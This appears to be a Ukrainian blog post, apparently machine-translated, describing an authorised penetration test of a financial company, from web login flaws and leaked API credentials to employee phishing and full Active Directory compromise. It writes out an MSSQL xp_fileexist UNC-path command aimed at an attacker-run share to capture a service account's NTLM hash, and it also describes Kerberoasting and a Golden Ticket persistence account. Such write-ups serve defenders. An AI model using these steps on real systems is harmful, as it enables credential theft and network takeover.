Список із найважливіших хакерських інструментів, які широко використовуються мільйонами спеціалістів з безпеки та тисячами організацій по всьому світу.
522 
Запланувати і здійснити пентест фінансової організації – це виклик, що вимагає професіоналізму та ретельної підготовки. У нашій статті “Крадіжка із зломом: пентест фінансової організації” ми детально розглянемо процес проведення пентесту для забезпечення безпеки фінансових установ. Ви дізнаєтеся про найпоширеніші загрози, з якими зіштовхуються фінансові організації, такі як витік конфіденційних даних, фінансові шахрайства та кібератаки. Наша стаття також зосередиться на важливості співпраці між командою пентестерів та фінансовою організацією для досягнення найкращих результатів. Ми розкриємо переваги проведення пентесту, виявлення вразливостей та рекомендації щодо подальшого покращення безпеки. Не ризикуйте безпекою вашої фінансової організації. Ознайомтесь з нашою статтею “Крадіжка із зломом: пентест фінансової організації” і дізнайтеся, як зробити вашу організацію недосяжною для зловмисників та кіберзаг
У цьому пості ми розповімо, як зламана логіка, самописні сервіси та графічні паролі можуть призвести до захоплення мережевої інфраструктури компанії, повної втрати грошей та даних користувача. Це справжня історія. Події, про які розповідається в пості, відбулися не так давно. На прохання юристів назви було змінено. З поваги до читачів усе розказано так, як було насправді. До Бастіону звернулася фінансова організація з пристойними оборотами та розвиненою офлайн-інфраструктурою. Керівництво компанії хотіло, щоб ми виявили та продемонстрували вразливості у їхніх онлайн-сервісах.
У кожного пентестера у нашій команді свої фішки та підходи, але загалом на цьому етапі ми діємо за методологією OWASP . Ми заходимо на кожен піддомен і ретельно перевіряємо дії, які користувач може зробити з веб-сайтом: від реєстрації, особистих повідомлень та коментарів, аж до вибору мови сторінки. У кожній з таких функцій може ховатися вразливість.
Далі проводимо ручний аналіз компонентів, клієнтської та серверної частини веб-додатків, доступних з Інтернету. Так визначається поверхня атаки, що використовується ПЗ та технології, які дозволяють продумати ймовірні вектори атак. Це копітка робота, але вона дає результати.
На сайті компанії створено офіційний особистий кабінет для клієнтів з авторизацією за номером телефону та SMS-кодом. Судячи з усього, особистий кабінет писався з нуля. Тому, якщо номер телефону введено неправильно, веб-сайт безпосередньо повідомить, що користувача не знайдено. Те ж саме відбувається при спробі скинути пароль. Це може здатися дрібницею, але це витік інформації. За допомогою такої форми легко зібрати список зареєстрованих користувачів для подальших атак, наприклад викрадення облікового запису.
Виявилося, що розробники порталу не встановили жодних обмежень на спроби введення коду авторизації. Отже, знаючи телефон активного облікового запису, можна було підібрати відповідний код.
На перебір комбінацій чотиризначного коду кілька потоків потрібно близько двадцяти секунд, шестизначного — кілька хвилин. Так зловмисник міг з порога заволодіти чужим акаунтом і, наприклад, спробувати оформити позику.
Достатньо було вручну підредагувати параметри from і to у тілі сторінки. Вписавши потрібного відправника та адресата, можна було надсилати особисті повідомлення від імені адміністрації сайту. Уявіть, як можна використовувати таку розсилку – простір для творчості величезний.
Ще одну небезпечну вразливість ми виявили, вивчаючи список директорій в особистому кабінеті. Серед них була директорія support. Логічно припустити, що вона належить до служби підтримки. А служба підтримки має мати доступ до адміністративних функцій і ресурсів, адже він потрібен для допомоги користувачам.
Ми вирішили перевірити, як працює контроль доступу до цих функцій. Для цього ми запросили директорію /support/user з-під облікового запису користувача. Веб-сервер повинен був повернути помилку 403 Forbidden – доступ заборонено, але він був налаштований неправильно.
Сервер перенаправив нас на сторінку /support – login page. У браузері не було видно нічого незвичайного, але ми просканували запити через burp suite, і побачили, що одночасно сервер віддає будь-які цікаві html-конструкції.
Тоді ми взяли словник на 250 000 слів і підібрали запити, на які сайт видавав конфіденційну інформацію. Так, на шляху /support/page-stat випадали csv-таблиці зі статистикою за кілька років, а вишнею на торті стали логін та пароль для API банку-партнера.
У нас все ще не було пароля адміністратора, але помилка у логіці виконання відповідей давала можливість заволодіти платежами, які проходять через компанію. Доступ до API означав повний контроль над платежами, доступ до введення та виведення коштів компанії.
Тепер щодо корпоративної мережі. Для доступу до нього компанія використовувала зовнішній VPN-шлюз, де для авторизації використовувалася лише пара логін/пароль без 2-FA OTP-коду. У таких випадках зловмисники часто обманюють все необхідне для входу за допомогою соціальної інженерії. Щоб оцінити готовність наших клієнтів до таких атак, ми зареєстрували доменне ім’я з відповідною назвою та організували розсилку на електронні адреси співробітників компанії.
Це листи з довідкової служби з проханням увійти на новий централізований захищений портал віддаленого доступу (через фішинг, звичайно). Загалом ми надіслали понад 70 повідомлень. 85% співробітників, які отримали електронний лист, перейшли за посиланням і залишили свої дані VPN на сайті, а двоє поскаржилися на порушення авторизації. Загалом, зайти в інтранет не складе труднощів. Ми звернулися до дослідження інфраструктури клієнтів.
Насамперед ми склали карту мережі за допомогою PowerView, PowerSploit, PowerShellMafia. З’ясувалося, що ми знаходимось у типовій корпоративній мережі з базами даних, CRM, ERP та іншими корпоративними сервісами. За мережну автентифікацію у ній відповідав Kerberos. Звичайно, дані кількох зібраних обліків збіглися з даними облікових записів у внутрішній мережі, щоправда, у них не було привілеїв. Це були звичайні облікові записи користувача.
Тепер ми діяли за методом OSSTMM. Щоб отримати права адміністратора домену, ми почали шукати облікові записи, для яких була вимкнена попередня автентифікація Kerberos. Вони вразливі до атаки AS-REP Roasting. Однак це нічого не дало. Потім ми переходимо до іншої схожої атаки – Kerberoasting. Новий підхід дає нам чотири квитки. За допомогою грубої сили можна отримати два паролі з чотирьох.
Це облікові записи USER, які слід призначати лише реальним користувачам, а не службам, але в цьому випадку це облікові записи sql. Зазвичай доступ до баз даних MSSQL надається авторизованим користувачам у домені за замовчуванням. Використовуючи інструмент PowerUpSQL, ми знайшли версії бази даних, до яких мали доступ зламані облікові записи.
Виявилося, що в одному з них сервіс запущено від імені облікового запису із привілеями доменного адміністратора.
Перевірка показала, що на ньому були включені процедури, що зберігаються . Це відкрило можливість атакувати MSSQL: UNC Path Injection. Справа в тому, що за умовчанням в базах даних MSSQL доступні процедури, що зберігаються xp_fileexist і xp_dirtree. Вони дозволяють користувачам із звичайними (public) привілеями робити віддалені запити через UNC (\server). При цьому при зверненні до віддаленого ресурсу передаються облікові дані сервісного облікового запису, від імені якого запущено службу бази даних. Це робиться для автентифікації та перевірки прав доступу.
Ми підняли власний файловий сервіс, зробили запит виду “exec master..xp_fileexist ‘\IP\temp\1.txt’;“, і на нашій робочій станції залишився Net-Ntlm-хеш пароля сервісного облікового запису.
Потім його можна атакувати за допомогою реле NTLM або грубої сили. Ми пішли другим шляхом і за півгодини пошуку з відеокартою GeForce GTX 1050 отримали пароль адміністратора домену. Паролі мають досить складну структуру. Це графічний значок у центрі клавіатури. Деякі люди використовують цю техніку мнемоніки пароля навмисно, а інші — ненавмисно.
Це менталітет і зручність всього цього. Тому символи, що знаходяться поруч на клавіатурі, часто є сусідами в паролі. Такі графічні паролі легко запам’ятовуються, здаються надійними та легко вводяться, але, на жаль, їх легко проклясти. Особливо, коли з’явилися інструменти, які автоматично формують списки таких паролів.
Отримавши доступ до облікового запису адміністратора, ми завели новий обліковий запис і, за допомогою атаки Golden Ticket , видали їй приховані права адміністратора домену. Такий обліковий запис забезпечує приховане закріплення в інфраструктурі і може роками чекати, доки скористається зловмисник. І хоч би що сталося далі, гарантуємо, керівництву компанії це не сподобається.
У цьому кейсі не було вразливостей, які потребують особливих навичок для використання. Як з’ясувалося, щоб зламати фінансову компанію, достатньо середнього рівня знань у сфері інформаційної безпеки. Якби на нашому місці опинився зловмисник, він отримав би доступ до фінансів за лічені дні, а за тиждень-другий пробрався до корпоративної мережі та захопив усе, до чого дотяглися руки. Диво, що цього не сталося до пентесту.
Співробітники, які не знають основ інформаційної безпеки, спростили проникнення у внутрішню мережу компанії. Найбільш уразливим компонентом усередині була база даних MSSQL із налаштуваннями за умовчанням. Якщо процедури, що зберігаються, не використовуються для роботи, їх потрібно відключати. Крім того, захоплення корпоративної мережі прискорили словникові паролі. І справа не в поганій парольній політиці компанії, а в тому, що укладачі словників здорово наштовхнули у своїй роботі.
Одне з небагатьох ефективних розв’язань цієї проблеми — запровадження механізмів моніторингу словникових паролів. Наприклад, подібну систему використовує Microsoft . Сподіваємося, цей підхід набуде більшого поширення. Що стосується безпеки доменів, ризики були б нижчими, якби не самописні послуги. Розробники популярних фреймворків багато в чому вже подбали про безпеку, але коли пишеш з нуля, легко допустити появу логічних уразливостей.
Тому перед повноцінним запуском варто організувати тестування на проникнення у всі сервіси, так чи інакше пов’язані з грошима та цінними даними. Ще одна хороша практика – Secure SDLC – регулярні перевірки безпеки, інтегровані у процес розробки зі старту проекту. Якби замовник дотримувався цих рекомендацій, пентест був набагато складнішим, а його результати — кращими для компанії та її клієнтів. Банальні поради, але практика показує, що їх все ще потрібно промовляти.
522 
289 
263